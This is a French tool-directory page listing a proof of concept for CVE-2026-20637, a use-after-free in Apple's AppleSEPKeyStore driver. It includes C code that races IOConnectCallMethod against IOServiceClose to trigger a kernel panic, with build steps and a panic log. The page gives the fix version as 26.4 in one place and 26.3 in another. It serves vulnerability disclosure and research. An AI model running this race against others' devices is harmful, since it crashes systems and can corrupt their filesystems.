Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
Sécurité iOSAnalyse des VulnérabilitésExploitationSécurité MobileExploitation de Binaires
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637 : Use-After-Free dans AppleSEPKeyStore — vulnérabilité du noyau iOS/macOS (corrigée dans la version 26.4)

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
1il y a 4 moisPas encore vérifié
Partager

CVE-2026-20637 — AppleSEPKeyStore Use-After-Free

CVE-2026-20637 · Enfilade · enfilade.io

Composant : AppleKeyStore

Impact : Une application pourrait être en mesure de provoquer une terminaison inattendue du système.

Description : Un problème d'utilisation après libération a été corrigé grâce à une meilleure gestion de la mémoire.

— Contenu de sécurité Apple, iOS 26.3 et iPadOS 26.3

Cible

iOS26.1 – 26.2 (testé)
macOS26.1 – 26.2 (testé)
Composantcom.apple.driver.AppleSEPKeyStore
CorrigéiOS 26.3 / iPadOS 26.3

Apple a peut-être corrigé ce problème progressivement entre 26.2.1 et 26.3, les versions intermédiaires peuvent donc ne pas reproduire le bug.

Avertissement

L'exécution du PoC provoquera un kernel panic sur l'appareil. Sauvegardez votre travail avant de l'exécuter. Des panics répétés peuvent entraîner une corruption du système de fichiers. À des fins de recherche en sécurité uniquement.

Vulnérabilité

Use-after-free dans IOCommandGate déclenché via une course dans AppleKeyStore. Huit threads appelants martèlent IOConnectCallMethod sur les sélecteurs 0–15 tandis que quatre threads de fermeture entrent en course avec IOServiceClose, créant une fenêtre où la command gate est accédée après avoir été libérée.

Preuve de concept

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 threads appelants : martèlent IOConnectCallMethod (priorité élevée)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 threads de fermeture : course IOServiceClose (priorité élevée)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// Thread principal : 100 000 connexions, sans délai
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // AUCUN DÉLAI — fenêtre de course serrée
}

Compilation et exécution

  1. Ouvrez ios-app/Test.xcodeproj dans Xcode.
  2. Sélectionnez un appareil iOS physique (le simulateur n'atteindra pas le pilote).
  3. Compilez, exécutez et déclenchez le PoC depuis l'application.

Journal de panic

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

Licence

Voir LICENSE.

Télécharger l’outil